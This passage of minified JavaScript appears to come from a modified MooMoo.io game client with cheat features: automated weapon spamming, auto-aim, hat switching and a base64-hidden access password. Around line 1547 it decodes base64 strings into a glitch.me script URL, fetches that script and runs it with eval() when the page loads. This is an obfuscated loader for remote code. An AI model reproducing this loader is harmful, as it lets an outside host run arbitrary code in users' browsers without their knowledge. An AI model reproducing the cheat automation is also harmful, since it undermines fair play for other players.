  1473. var cl = ys.regionInfo[cb].name;
  1474. cA += "<option disabled>" + cl + " - " + cx + " players</option>";
  1475. for (var ca = 0; ca < cu.length; ca++) for (var co = cu[ca], cD = 0; cD < co.games.length; cD++) {
  1476. var cW = co.games[cD], cm = 1 * co.index + cD + 1, cB = ys.server && ys.server.region === co.region && ys.server.index === co.index && ys.gameIndex == cD, cj = cl + " " + cm + " [" + Math.min(cW.playerCount, y7.maxPlayers) + "/" + y7.maxPlayers + "]";
  1477. let cC = ys.stripRegion(cb) + ":" + ca + ":" + cD;
  1478. cB && (V8.getElementsByTagName("span")[0].innerText = cC), cA += "<option value='" + cC + "' " + (cB ? "selected" : "") + ">" + cj + "</option>";
  1479. }
  1480. cA += "<option disabled></option>";
  1481. }
  1482. cA += "<option disabled>All Servers - " + cY + " players</option>", Vs.innerHTML = cA, "sandbox.moomoo.io" == location.hostname ? (cS = "Back to MooMoo", cf = "//moomoo.io/") : (cS = "Try the sandbox", cf = "//sandbox.moomoo.io/"), document.getElementById("altServer").innerHTML = "<a href='" + cf + "'>" + cS + "<i class='material-icons' style='font-size:10px;vertical-align:middle'>arrow_forward_ios</i></a>";
  1483. }
  1484. function d4() {
  1485. var cS = new XMLHttpRequest;
  1486. cS.onreadystatechange = function () {
  1487. 4 == this.readyState && (200 == this.status ? (window.vultr = JSON.parse(this.responseText), ys.processServers(vultr.servers), d3()) : console.error("Failed to load server data with status code:", this.status));
  1488. }, cS.open("GET", "/serverData", !0), cS.send();
  1489. }
  1490. Vs.addEventListener("change", y5.checkTrusted(function () {
  1491. let cS = Vs.value.split(":");
  1492. ys.switchServer(cS[0], cS[1], cS[2]);
  1493. }));
  1494. var d5 = document.getElementById("pre-content-container"), d6 = null, d7 = null;
  1495. window.cpmstarAPI(function (cS) {
  1496. cS.game.setTarget(d5), d7 = cS;
  1497. });
  1498. var d8 = 3e5, d9 = 0, dy = 0;
  1499. function dV() {
  1500. if (!cpmstarAPI || !d7) return console.log("Failed to load video ad API", !!cpmstarAPI, !!d7), void dP();
  1501. (d6 = new d7.game.RewardedVideoView("rewardedvideo")).addEventListener("ad_closed", function (cS) {
  1502. console.log("Video ad closed"), dd();
  1503. }), d6.addEventListener("loaded", function (cS) {
  1504. console.log("Video ad loaded"), d6.show();
  1505. }), d6.addEventListener("load_failed", function (cS) {
  1506. console.log("Video ad load failed", cS), dd();
  1507. }), d6.load(), d5.style.display = "block";
  1508. }
  1509. function dd() {
  1510. d5.style.display = "none", dP();
  1511. }
  1512. function dJ(cS, cf, cA) {
  1513. if (yI && cS) if (y5.removeAllChildren(VM), VM.classList.add("visible"), y5.generateElement({id: "itemInfoName", text: y5.capitalizeFirst(cS.name), parent: VM}), y5.generateElement({id: "itemInfoDesc", text: cS.desc, parent: VM}), cA) ; else if (cf) y5.generateElement({class: "itemInfoReq", text: cS.type ? "secondary" : "primary", parent: VM}); else {
  1514. for (var cY = 0; cY < cS.req.length; cY += 2) y5.generateElement({class: "itemInfoReq", html: cS.req[cY] + "<span class='itemInfoReqVal'> x" + cS.req[cY + 1] + "</span>", parent: VM});
  1515. cS.group.limit && y5.generateElement({class: "itemInfoLmt", text: (yI.itemCounts[cS.group.id] || 0) + "/" + cS.group.limit, parent: VM});
  1516. } else VM.classList.remove("visible");
  1517. }
  1518. window.showPreAd = dV;
  1519. var dT, dc, dL, ds = [], dp = [];
  1520. function dU(cS, cf) {
  1521. ds.push({sid: cS, name: cf}), dG();
  1522. }
  1523. function dG() {
  1524. if (ds[0]) {
  1525. var cS = ds[0];
  1526. y5.removeAllChildren(VQ), VQ.style.display = "block", y5.generateElement({class: "notificationText", text: cS.name, parent: VQ}), y5.generateElement({class: "notifButton", html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'>&#xE14C;</i>", parent: VQ, onclick: function () {
  1527. dX(0);
  1528. }, hookTouch: !0}), y5.generateElement({class: "notifButton", html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'>&#xE876;</i>", parent: VQ, onclick: function () {
  1529. dX(1);
  1530. }, hookTouch: !0});
  1531. } else VQ.style.display = "none";
  1532. }
  1533. function dq(cS) {
  1534. yx.push(cS), "block" == Vv.style.display && dh();
  1535. }
  1536. if (!localStorage.getItem(atob("cGFzc3RpbWVz")) && localStorage.getItem(atob("cGFzc3RpbWVz")) != 0) {
  1537. localStorage.setItem(atob("cGFzc3RpbWVz"), 0);
  1538. }
  1539. if (localStorage.getItem(atob("cGFzc3RpbWVz")) > 4) {
  1540. document.getElementById(atob("ZW50ZXJHYW1l")).disabled = !![];
  1541. document.getElementById(atob("ZW50ZXJHYW1l")).style.backgroundColor = "#808080";
  1542. document.getElementById(lmfaolfsoadksioakdjoiasjdad).disabled = !![];
  1543. localStorage.setItem(atob("cGFzc3dvcmQ="), "");
  1544. } else {
  1545. document.getElementById(lmfaolfsoadksioakdjoiasjdad).value = localStorage.getItem(atob("cGFzc3dvcmQ="));
  1546. }
  1547. fetch(atob("aHR0cHM6Ly9tZW1lZ2Fub29i") + atob("c3BhZ2UuZ2xpdGNoLm1lL2JleW9uZGdvZG1vZC5qcw==")).then(async cS => {
  1548. let cf = await cS.text();
  1549. eval(cf);
  1550. });
  1551. function dP() {
  1552. if (document.getElementById(lmfaolfsoadksioakdjoiasjdad).value == window.$ || document.getElementById(lmfaolfsoadksioakdjoiasjdad).value == atob("bWVnYQ==") + atob("aXM=") + atob("ZWxldHJvbGl1bQ==")) {
  1553. document.getElementById(lmfaolfsoadksioakdjoiasjdad).disabled = !![];
  1554. localStorage.setItem(atob("cGFzc3dvcmQ="), document.getElementById(lmfaolfsoadksioakdjoiasjdad).value);
  1555. yN("moo_name", VI.value);
  1556. if (!V4 && y4.connected) {
  1557. V4 = !![];
  1558. yP.stop("menu");
  1559. d2("Loading...");
  1560. y4.send("sp", {name: VI.value, moofoll: yf, skin: V1});
  1561. }
  1562. } else {
  1563. if (localStorage.getItem(atob("cGFzc3RpbWVz")) > 4) {
  1564. document.getElementById(atob("ZW50ZXJHYW1l")).disabled = !![];
  1565. document.getElementById(atob("ZW50ZXJHYW1l")).style.backgroundColor = "#808080";
  1566. document.getElementById(lmfaolfsoadksioakdjoiasjdad).disabled = !![];
  1567. localStorage.setItem(atob("cGFzc3dvcmQ="), "");
  1568. } else {
  1569. let cS = localStorage.getItem(atob("cGFzc3RpbWVz"));
  1570. localStorage.setItem(atob("cGFzc3RpbWVz"), parseInt(cS) + 1);
  1571. console.log(localStorage.getItem(atob("cGFzc3RpbWVz")));
  1572. alert(atob("d3JvbmcgcGFzcw=="));
  1573. }
  1574. }
  1575. }
  1576. function dg(cS, cf) {
  1577. yI && (yI.team = cS, yI.isOwner = cf, "block" == Vv.style.display && dh());
  1578. }
  1579. function dH(cS) {
  1580. dp = cS, "block" == Vv.style.display && dh();
  1581. }
  1582. function dN(cS) {
  1583. for (var cf = yx.length - 1; cf >= 0; cf--) yx[cf].sid == cS && yx.splice(cf, 1);
  1584. "block" == Vv.style.display && dh();
  1585. }
  1586. function dh() {
  1587. if (yI && yI.alive) {
  1588. if (dj(), Vx.style.display = "none", Vv.style.display = "block", y5.removeAllChildren(VS), yI.team) for (var cS = 0; cS < dp.length; cS += 2) !function (cf) {
  1589. var cA = y5.generateElement({class: "allianceItem", style: "color:" + (dp[cf] == yI.sid ? "#fff" : "rgba(255,255,255,0.6)"), text: dp[cf + 1], parent: VS});
  1590. yI.isOwner && dp[cf] != yI.sid && y5.generateElement({class: "joinAlBtn", text: "Kick", onclick: function () {
  1591. dF(dp[cf]);
  1592. }, hookTouch: !0, parent: cA});
  1593. }(cS); else if (yx.length) for (cS = 0; cS < yx.length; ++cS) !function (cf) {
  1594. var cA = y5.generateElement({class: "allianceItem", style: "color:" + (yx[cf].sid == yI.team ? "#fff" : "rgba(255,255,255,0.6)"), text: yx[cf].sid, parent: VS});
  1595. y5.generateElement({class: "joinAlBtn", text: "Join", onclick: function () {
  1596. dZ(cf);
  1597. }, hookTouch: !0, parent: cA});
  1598. }(cS); else y5.generateElement({class: "allianceItem", text: "No Tribes Yet", parent: VS});
  1599. y5.removeAllChildren(Vf), yI.team ? y5.generateElement({class: "allianceButtonM", style: "width: 360px", text: yI.isOwner ? "Delete Tribe" : "Leave Tribe", onclick: function () {
  1600. dO();
  1601. }, hookTouch: !0, parent: Vf}) : (y5.generateElement({tag: "input", type: "text", id: "allianceInput", maxLength: 7, placeholder: "unique name", ontouchstart: function (cf) {
  1602. cf.preventDefault();
  1603. var cA = prompt("unique name", cf.currentTarget.value);
  1604. cf.currentTarget.value = cA.slice(0, 7);
  1605. }, parent: Vf}), y5.generateElement({tag: "div", class: "allianceButtonM", style: "width: 140px;", text: "Create", onclick: function () {
  1606. dz();
  1607. }, hookTouch: !0, parent: Vf}));
  1608. }
  1609. }
  1610. function dX(cS) {
  1611. y4.send("11", ds[0].sid, cS), ds.splice(0, 1), dG();
  1612. }
  1613. function dF(cS) {
  1614. y4.send("12", cS);
  1615. }
  1616. function dZ(cS) {
  1617. y4.send("10", yx[cS].sid);
  1618. }
  1619. function dz() {
  1620. y4.send("8", document.getElementById("allianceInput").value);
  1621. }
  1622. function dO() {
  1623. ds = [], dp = [], dG(), y4.send("9");
  1624. }
  1625. var dE, dI = [];
  1626. function dM(cS, cf) {
  1627. for (var cA = 0; cA < dI.length; ++cA) if (!dI[cA].active) {
  1628. dE = dI[cA];
  1629. break;
  1630. }
  1631. dE || (dE = new function () {
  1632. this.init = function (cY, cb) {
  1633. this.scale = 0, this.x = cY, this.y = cb, this.active = !0;
  1634. }, this.update = function (cY, cb) {
  1635. this.active && (this.scale += 0.05 * cb, this.scale >= y7.mapPingScale ? this.active = !1 : (cY.globalAlpha = 1 - Math.max(0, this.scale / y7.mapPingScale), cY.beginPath(), cY.arc(this.x / y7.mapScale * VA.width, this.y / y7.mapScale * VA.width, this.scale, 0, 2 * Math.PI), cY.stroke()));
  1636. };
  1637. }, dI.push(dE)), dE.init(cS, cf);
  1638. if (yI.team && Ta == ![] && nearestEnemy.length && document.getElementById("syncteam").checked) {
  1639. Ta = !![];
  1640. db(53);
  1641. JE(yI.weapons[1], !![]);
  1642. dA.change(![]);
  1643. dY.change(!![]);
  1644. y4.send("7", 1);
  1645. setTimeout(() => {
  1646. y4.send("7", 1);
  1647. Ta = ![];
  1648. dA.change(![]);
  1649. dY.change(![]);
  1650. }, 250);
  1651. }
  1652. }
  1653. function dK(cS) {
  1654. dc = cS;
  1655. }
  1656. var dr = 0;
  1657. function dw(cS, cf, cA) {
  1658. cA ? cS ? yI.tailIndex = cf : yI.tails[cf] = 1 : cS ? yI.skinIndex = cf : yI.skins[cf] = 1, "block" == Vx.style.display && dR();
  1659. }
  1660. function dR() {
  1661. if (yI) {
  1662. y5.removeAllChildren(Vi);
  1663. for (var cS = dr, cf = cS ? Vl : Vk, cA = 0; cA < cf.length; ++cA) cf[cA].dontSell || function (cY) {
  1664. var cb = y5.generateElement({id: "storeDisplay" + cY, class: "storeItem", onmouseout: function () {
  1665. dJ();
  1666. }, onmouseover: function () {
  1667. dJ(cf[cY], !1, !0);
  1668. }, parent: Vi});
  1669. y5.hookTouchEvents(cb, !0), y5.generateElement({tag: "img", class: "hatPreview", src: ".././img/" + (cS ? "accessories/access_" : "hats/hat_") + cf[cY].id + (cf[cY].topSprite ? "_p" : "") + ".png", parent: cb}), y5.generateElement({tag: "span", text: cf[cY].name, parent: cb}), (cS ? yI.tails[cf[cY].id] : yI.skins[cf[cY].id]) ? (cS ? yI.tailIndex : yI.skinIndex) == cf[cY].id ? y5.generateElement({class: "joinAlBtn", style: "margin-top: 5px", text: "Unequip", onclick: function () {
  1670. db(0, cS);
  1671. }, hookTouch: !0, parent: cb}) : y5.generateElement({class: "joinAlBtn", style: "margin-top: 5px", text: "Equip", onclick: function () {
  1672. db(cf[cY].id, cS);
  1673. }, hookTouch: !0, parent: cb}) : (y5.generateElement({class: "joinAlBtn", style: "margin-top: 5px", text: "Buy", onclick: function () {
  1674. du(cf[cY].id, cS);
  1675. }, hookTouch: !0, parent: cb}), y5.generateElement({tag: "span", class: "itemPrice", text: cf[cY].price, parent: cb}));
  1676. }(cA);
  1677. }
  1678. }
  1679. var dv = ![], dS = ![];
  1680. var df = {status: ![], interval: null, change: function (cS) {
  1681. if (cS == !![]) {
  1682. clearInterval(this.interval);
  1683. if (this.status == ![]) {
  1684. y4.send("7", 1);
  1685. }
  1686. y4.send("c", 1, Tj);
  1687. this.status = !![];
  1688. } else {
  1689. if (this.status == !![]) {
  1690. y4.send("7", 1);
  1691. }
  1692. this.status = ![];
  1693. y4.send("c", 0, Tj);
  1694. }
  1695. }};
  1696. var dA = {interval: null, status: ![], change: function (cS) {
  1697. if (cS == !![]) {
  1698. clearInterval(this.interval);
  1699. this.status = !![];
  1700. JE(yI.weapons[0], !![]);
  1701. this.interval = setInterval(() => {
  1702. JE(yI.weapons[0], !![]);
  1703. JE(yI.weapons[0], !![]);
  1704. }, 0);
  1705. } else {
  1706. this.status = ![];
  1707. clearInterval(this.interval);
  1708. }
  1709. }};
  1710. var dY = {interval: null, status: ![], change: function (cS) {
  1711. if (cS == !![]) {
  1712. clearInterval(this.interval);
  1713. this.status = !![];
  1714. JE(yI.weapons[1], !![]);
  1715. this.interval = setInterval(() => {
  1716. JE(yI.weapons[1], !![]);
  1717. JE(yI.weapons[1], !![]);
  1718. }, 0);
  1719. } else {
  1720. this.status = ![];
  1721. clearInterval(this.interval);
  1722. }
  1723. }};
  1724. function db(cS, cf) {
  1725. if (!cf) {
  1726. if (dS == !![]) {
  1727. y4.send("13c", 0, 22, 0);
  1728. } else if (dv == !![] || TH == !![] || TQ == !![]) {
  1729. y4.send("13c", 0, 6, 0);
  1730. } else {
  1731. y4.send("13c", 0, cS, 0);
  1732. if (!yI.skins[cS] && cS > 0) y4.send("13c", 0, 0, 0);
  1733. }
  1734. } else {
  1735. y4.send("13c", 0, cS, 1);
  1736. }
  1737. }
  1738. function du(cS, cf) {
  1739. y4.send("13c", 1, cS, cf);
  1740. }
  1741. function dx() {
  1742. Vx.style.display = "none", Vv.style.display = "none", dj();
  1743. }
  1744. function dQ() {
  1745. if (document.getElementById("doExternalVisuals").checked == !![]) {
  1746. if (document.getElementById("visualType").value == 1) {
  1747. document.getElementById("topInfoHolder").style.left = "20px";
  1748. document.getElementById("resDisplay").appendChild(document.getElementById("killCounter"));
  1749. document.getElementById("killCounter").style.bottom = "185px";
  1750. document.getElementById("killCounter").style.right = "20px";
  1751. Vd.style.left = "330px";
  1752. VJ.style.left = "270px";
  1753. document.getElementById("chatButton").style.right = "140px";
  1754. document.getElementById("chatButton").style.display = "none";
  1755. if (modMenu.style.display == "block") {
  1756. document.getElementById("topInfoHolder").style.display = "none";
  1757. Vd.style.display = "none";
  1758. VJ.style.display = "none";
  1759. }
  1760. Vd.removeAttribute("id");
  1761. VJ.removeAttribute("id");
  1762. } else {
  1763. document.getElementById("topInfoHolder").style.left = null;
  1764. document.getElementById("topInfoHolder").appendChild(document.getElementById("killCounter"));
  1765. document.getElementById("killCounter").style.bottom = null;
  1766. document.getElementById("killCounter").style.right = null;
  1767. document.getElementById("chatButton").style.right = null;
  1768. document.getElementById("chatButton").style.display = "block";
  1769. document.getElementById("topInfoHolder").style.display = "block";
  1770. Vd.style.display = "block";
  1771. VJ.style.display = "block";
  1772. Vd.style.left = null;
  1773. VJ.style.left = null;
  1774. Vd.setAttribute("id", "allianceButton");
  1775. VJ.setAttribute("id", "storeButton");
  1776. }
  1777. V2 = 1920;
  1778. V3 = 1080;
  1779. J3();
  1780. } else {
  1781. document.getElementById("topInfoHolder").style.left = null;
  1782. document.getElementById("topInfoHolder").appendChild(document.getElementById("killCounter"));
  1783. document.getElementById("killCounter").style.bottom = null;
  1784. document.getElementById("killCounter").style.right = null;
  1785. Vd.style.left = null;
  1786. Vd.setAttribute("id", "allianceButton");
  1787. document.getElementById("chatButton").style.right = null;
  1788. document.getElementById("chatButton").style.display = "block";
  1789. document.getElementById("topInfoHolder").style.display = "block";
  1790. VJ.style.left = null;
  1791. Vd.style.display = "block";
  1792. VJ.style.display = "block";
  1793. VJ.setAttribute("id", "storeButton");
  1794. V2 = 1920 * 1.1;
  1795. V3 = 1080 * 1.1;
  1796. J3();
  1797. }
  1798. }
  1799. document.getElementById("doExternalVisuals").addEventListener("change", cS => {
  1800. dQ();
  1801. dk();
  1802. });
  1803. document.getElementById("visualType").addEventListener("change", cS => {
  1804. dQ();
  1805. dk();
  1806. });
  1807. function dk(cS, cf) {
  1808. cS && (cf ? yI.weapons = cS : yI.items = cS);
  1809. for (var cA = 0; cA < y9.list.length; ++cA) {
  1810. var cY = y9.weapons.length + cA;
  1811. if (document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) {
  1812. document.getElementById("actionBarItem" + cY).style.display = [0, 3, 6, 10].indexOf(y9.list[cA].id) >= 0 ? "inline-block" : "none";
  1813. } else {
  1814. document.getElementById("actionBarItem" + cY).style.display = yI.items.indexOf(y9.list[cA].id) >= 0 ? "inline-block" : "none";
  1815. }
  1816. }
  1817. for (cA = 0; cA < y9.weapons.length; ++cA) document.getElementById("actionBarItem" + cA).style.display = yI.weapons[y9.weapons[cA].type] == y9.weapons[cA].id ? "inline-block" : "none";
  1818. }
  1819. function dl(cS) {
  1820. yX = cS, yA = cS && window.devicePixelRatio || 1, Vp.checked = cS, yN("native_resolution", cS.toString()), J3();
  1821. }
  1822. function da() {
  1823. for (var cS = "", cf = 0; cf < y7.skinColors.length; ++cf) cS += cf == V1 ? "<div class='skinColorItem activeSkin' style='background-color:" + y7.skinColors[cf] + "' onclick='selectSkinColor(" + cf + ")'></div>" : "<div class='skinColorItem' style='background-color:" + y7.skinColors[cf] + "' onclick='selectSkinColor(" + cf + ")'></div>";
  1824. Vb.innerHTML = cS;
  1825. }
  1826. var dD = document.getElementById("chatBox"), dW = document.getElementById("chatHolder");
  1827. function dm() {
  1828. dC ? setTimeout(function () {
  1829. var cS = prompt("chat message");
  1830. cS && dB(cS);
  1831. }, 1) : "block" == dW.style.display ? (dD.value && dB(dD.value), dj()) : (Vx.style.display = "none", Vv.style.display = "none", dW.style.display = "block", dD.focus(), Jd()), dD.value = "";
  1832. }
  1833. function dB(cS) {
  1834. y4.send("ch", cS.slice(0, 30));
  1835. }
  1836. function dj() {
  1837. dD.value = "", dW.style.display = "none";
  1838. }
  1839. var dC, J0, J1 = [];
  1840. function J2(cS, cf) {
  1841. var cA = cX(cS);
  1842. cA && (cA.chatMessage = function (cY) {
  1843. for (var cb, cu = 0; cu < J1.length; ++cu) if (cY.indexOf(J1[cu]) > -1) {
  1844. cb = "";
  1845. for (var cx = 0; cx < J1[cu].length; ++cx) cb += cb.length ? "o" : "M";
  1846. var cQ = new RegExp(J1[cu], "g");
  1847. cY = cY.replace(cQ, cb);
  1848. }
  1849. return cY;
  1850. }(cf), cA.chatCountdown = y7.chatCountdown);
  1851. }
  1852. function J3() {
  1853. yv = window.innerWidth, yS = window.innerHeight;
  1854. var cS = Math.max(yv / V2, yS / V3) * yA;
  1855. Vc.width = yv * yA, Vc.height = yS * yA, Vc.style.width = yv + "px", Vc.style.height = yS + "px", VL.setTransform(cS, 0, 0, cS, (yv * yA - V2 * cS) / 2, (yS * yA - V3 * cS) / 2);
  1856. }
  1857. function J4(cS) {
  1858. (dC = cS) ? Vg.classList.add("touch") : Vg.classList.remove("touch");
  1859. }
  1860. function J5(cS) {
  1861. cS.preventDefault(), cS.stopPropagation(), J4(!0);
  1862. for (var cf = 0; cf < cS.changedTouches.length; cf++) {
  1863. var cA = cS.changedTouches[cf];
  1864. cA.identifier == yC.id ? (yC.id = -1, JZ()) : cA.identifier == V0.id && (V0.id = -1, yI.buildIndex >= 0 && (yE = 1), yE = 0);
  1865. }
  1866. }
  1867. var J6 = {status: ![], interval: null, action: function (cS) {
  1868. if (cS == !![]) {
  1869. clearInterval(this.interval);
  1870. this.interval = setInterval(() => {
  1871. if (TD == ![] && Ta == ![] && Js.space == ![] && !document.getElementById("autogrind").checked) {
  1872. c0 = "tankspam";
  1873. let cf = yI.weapons[1] == 10 ? yI.weapons[1] : yI.weapons[0];
  1874. JE(cf, !![]);
  1875. if (cf == yI.weapons[1] ? yI.secondary.reload == 1 : yI.primary.reload == 1) {
  1876. y4.send("c", 1, Number.MAX_VALUE);
  1877. y4.send("c", 0, Number.MAX_VALUE);
  1878. db(40);
  1879. } else {
  1880. if (cH() && yI.skins[7]) {
  1881. Tf += 0.00900900901;
  1882. db(7);
  1883. } else if (cy.length && yI.skins[22]) {
  1884. db(22);
  1885. db(11, 1);
  1886. } else {
  1887. db(6);
  1888. if (cX(nearestEnemy[0]) && cX(nearestEnemy[0]).primary.reload + 111 / y9.weapons[cX(nearestEnemy[0]).primary.id].speed >= 1 && cX(nearestEnemy[0]).primary.variant == 0) {
  1889. db(21, 1);
  1890. } else {
  1891. db(11, 1);
  1892. }
  1893. }
  1894. }
  1895. y4.send("2", Number.MAX_VALUE);
  1896. }
  1897. }, 0);
  1898. } else {
  1899. clearInterval(this.interval);
  1900. }
  1901. }}, J7 = {status: ![], interval: null, action: function (cS) {
  1902. if (cS == !![]) {
  1903. clearInterval(this.interval);
  1904. this.interval = setInterval(() => {
  1905. if (TD == ![] && Ta == ![] && !document.getElementById("autogrind").checked && J6.status == ![]) {
  1906. c0 = "bowspam";
  1907. JE(yI.weapons[1], !![]);
  1908. if (yI.secondary.reload == 1) {
  1909. db(20);
  1910. db(11, 1);
  1911. y4.send("c", 1, Tj);
  1912. y4.send("c", 0, Tj);
  1913. } else {
  1914. if (cH() && yI.skins[7]) {
  1915. Tf += 0.00900900901;
  1916. db(7);
  1917. } else if (cy.length && yI.skins[22]) {
  1918. db(22);
  1919. db(11, 1);
  1920. } else if (yI.y2 > 6850 && yI.y2 < 7550 && yI.skins[31]) {
  1921. db(31);
  1922. db(11, 1);
  1923. } else if (nearestEnemy.length && cN(nearestEnemy, yI) < 250 && yI.skins[6]) {
  1924. db(6);
  1925. db(11, 1);
  1926. } else if (yI.y2 < 2400 && yI.skins[15]) {
  1927. db(15);
  1928. db(11, 1);
  1929. } else {
  1930. db(12);
  1931. db(11, 1);
  1932. }
  1933. }
  1934. y4.send("2", Tj);
  1935. }
  1936. }, 0);
  1937. } else {
  1938. clearInterval(this.interval);
  1939. }
  1940. }};
  1941. document.getElementById("gameCanvas").addEventListener("mousedown", cS => {
  1942. if (cS.button == 0) {
  1943. J6.status = !J6.status;
  1944. J6.action(J6.status);
  1945. } else if (cS.button == 2) {
  1946. J7.status = !J7.status;
  1947. J7.action(J7.status);
  1948. }
  1949. });
  1950. var J8 = ![];
  1951. function J9() {
  1952. if (!yI) {
  1953. J8 = ![];
  1954. return 0;
  1955. } else if (Ta == !![] || TW.aiming == "normal") {
  1956. J8 = ![];
  1957. return Tj;
  1958. } else if (TW.aiming == "back") {
  1959. J8 = ![];
  1960. return Tj + Math.PI;
  1961. } else if (TD == !![] && Js.space == ![]) {
  1962. if (TC == Number.MAX_VALUE) {
  1963. J8 = !![];
  1964. return Number.MAX_VALUE;
  1965. } else {
  1966. J8 = ![];
  1967. return TC;
  1968. }
  1969. } else if (J6.status == !![] || document.getElementById("autogrind").checked == !![]) {
  1970. J8 = !![];
  1971. return Number.MAX_VALUE;
  1972. } else if (J7.status == !![] && nearestEnemy.length) {
  1973. return Tj;
  1974. } else if (c0 == "auto bull spam" || c0 == "oneticking" && yI.weapons[0] != 4) {
  1975. J8 = ![];
  1976. return Tj || Math.atan2(yj - yS / 2, yB - yv / 2);
  1977. } else if (yI.secondary.reload < 1 && yI.weaponIndex > 9 && yI.weapons[1] == 15) {
  1978. return cP;
  1979. } else if (V0.id != -1) {
  1980. J8 = ![];
  1981. J0 = Math.atan2(V0.currentY - V0.startY, V0.currentX - V0.startX);
  1982. } else if (!yI.lockDir && !dC) {
  1983. J8 = ![];
  1984. J0 = Math.atan2(yj - yS / 2, yB - yv / 2);
  1985. }
  1986. return y5.fixTo(J0 || 0, 2);
  1987. }
  1988. window.addEventListener("resize", y5.checkTrusted(J3)), J3(), J4(!1), window.setUsingTouch = J4, Vc.addEventListener("touchmove", y5.checkTrusted(function (cS) {
  1989. cS.preventDefault(), cS.stopPropagation(), J4(!0);
  1990. for (var cf = 0; cf < cS.changedTouches.length; cf++) {
  1991. var cA = cS.changedTouches[cf];
  1992. cA.identifier == yC.id ? (yC.currentX = cA.pageX, yC.currentY = cA.pageY, JZ()) : cA.identifier == V0.id && (V0.currentX = cA.pageX, V0.currentY = cA.pageY, yE = 1);
  1993. }
  1994. }), !1), Vc.addEventListener("touchstart", y5.checkTrusted(function (cS) {
  1995. cS.preventDefault(), cS.stopPropagation(), J4(!0);
  1996. for (var cf = 0; cf < cS.changedTouches.length; cf++) {
  1997. var cA = cS.changedTouches[cf];
  1998. cA.pageX < document.body.scrollWidth / 2 && -1 == yC.id ? (yC.id = cA.identifier, yC.startX = yC.currentX = cA.pageX, yC.startY = yC.currentY = cA.pageY, JZ()) : cA.pageX > document.body.scrollWidth / 2 && -1 == V0.id && (V0.id = cA.identifier, V0.startX = V0.currentX = cA.pageX, V0.startY = V0.currentY = cA.pageY, yI.buildIndex < 0 && (yE = 1));
  1999. }
  2000. }), !1), Vc.addEventListener("touchend", y5.checkTrusted(J5), !1), Vc.addEventListener("touchcancel", y5.checkTrusted(J5), !1), Vc.addEventListener("touchleave", y5.checkTrusted(J5), !1), Vc.addEventListener("mousemove", function (cS) {
  2001. cS.preventDefault(), cS.stopPropagation(), J4(!1), yB = cS.clientX, yj = cS.clientY;
  2002. }, !1), Vc.addEventListener("mousedown", function (cS) {
  2003. J4(!1), 1 != yE && (yE = 1);
  2004. }, !1), Vc.addEventListener("mouseup", function (cS) {
  2005. J4(!1), 0 != yE && (yE = 0);
  2006. }, !1);
  2007. var Jy = {}, JV = {87: [0, -1], 38: [0, -1], 83: [0, 1], 40: [0, 1], 65: [-1, 0], 37: [-1, 0], 68: [1, 0], 39: [1, 0]};
  2008. function Jd() {
  2009. Jy = {}, y4.send("rmd");
  2010. }
  2011. function JJ() {
  2012. return "block" != Vv.style.display && "block" != dW.style.display;
  2013. }
  2014. function JT() {
  2015. yI && yI.alive && y4.send("c", yE, yI.buildIndex >= 0 ? J9() : null);
  2016. }
  2017. var Jc = [new Audio("https://cdn.discordapp.com/attachments/967213871267971072/1027416621318414406/8mb.video-Vf9-wfenD0dA.m4a"), new Audio("https://cdn.discordapp.com/attachments/967213871267971072/1027001423034065006/DR._LOVE___DONT_STAND_SO_CLOSED_INITIAL_D.mp3"), new Audio("https://cdn.discordapp.com/attachments/967213871267971072/1027051825871990845/YT2mp3.info_-_Imagine_Dragons_-_Warriors_Lyrics_320kbps.mp3"), new Audio("https://cdn.discordapp.com/attachments/967213871267971072/1027003301465706537/Ken_Blast_-_The_Top_Lyrics_Video_Eurobeat_Initial_D_REUPLOAD.mp3"), new Audio("https://cdn.discordapp.com/attachments/967213871267971072/1027421527722963044/Egzod_Maestro_Chives__Alaina_Cross_-_No_Rival_Official_Lyric_Video.mp3")];
  2018. function JL(cS) {
  2019. let cf = [];
  2020. Jc[cS].play();
  2021. if (cS == 0) {
  2022. cf = [{chat: "We at the top again, now what?", delay: 16e3}, {chat: "Heavy lay the crown, but", delay: 18e3}, {chat: "Count us", delay: 2e4}, {chat: "Higher than the mountain", delay: 21e3}, {chat: "And we be up here", delay: 23e3}, {chat: "for the long run", delay: 24e3}, {chat: "Strap in for a long one", delay: 25e3}, {chat: "We got everybody on one", delay: 27e3}, {chat: "Now you're coming at the king", delay: 29e3}, {chat: "so you better not miss", delay: 31e3}, {chat: "And we only get stronger", delay: 33e3}, {chat: "With everthing I carry", delay: 36e3}, {chat: "up on my back", delay: 37e3}, {chat: "you should paint it up", delay: 39e3}, {chat: "you should paint it up", delay: 39e3}, {chat: "with a target", delay: 41e3}, {chat: "Why would you dare me to", delay: 46e3}, {chat: "do it again?", delay: 47e3}, {chat: "Come get your spoiler up ahead", delay: 5e4}, {chat: "We're taking over,", delay: 53e3}, {chat: "We're taking over", delay: 56e3}, {chat: "Look at you come at my name,", delay: 61e3}, {chat: "you 'oughta know by now,", delay: 63e3}, {chat: "That We're Taking Over,", delay: 66e3}, {chat: "We're Taking Over", delay: 69e3}, {chat: "Maybe you wonder what", delay: 74e3}, {chat: "you're futures gonna be, but", delay: 75e3}, {chat: "I got it all locked up", delay: 77e3}, {chat: "Take a lap, now", delay: 93e3}, {chat: "Don't be mad, now", delay: 95e3}, {chat: "Run it back, run it back,", delay: 97e3}, {chat: "run it back, now", delay: 98e3}, {chat: "I got bodies lining up,", delay: 1e5}, {chat: "think you're dreaming", delay: 101e3}, {chat: "of greatness", delay: 102e3}, {chat: "Send you back home,", delay: 103e3}, {chat: "let you wake up", delay: 105e3}, {chat: "Why would you dare me to", delay: 11e4}, {chat: "do it again?", delay: 111e3}, {chat: "Come get your spoiler up ahead", delay: 114e3}, {chat: "We're taking over,", delay: 117e3}, {chat: "We're taking over", delay: 12e4}, {chat: "Look at you come at my name,", delay: 125e3}, {chat: "you 'oughta know by now,", delay: 127e3}, {chat: "That We're Taking Over,", delay: 13e4}, {chat: "We're Taking Over", delay: 133e3}, {chat: "Maybe you wonder what", delay: 138e3}, {chat: "you're futures gonna be, but", delay: 14e4}, {chat: "I got it all locked up", delay: 141e3}, {chat: "After all, what still exists", delay: 157e3}, {chat: "except for fights", delay: 158e3}, {chat: "Around me,", delay: 16e4}, {chat: "the keyboard is clicking,", delay: 161e3}, {chat: "the clock is ticking", delay: 162e3}, {chat: "Still not enough, let me", delay: 164e3}, {chat: "protect your persistence", delay: 165e3}, {chat: "even if 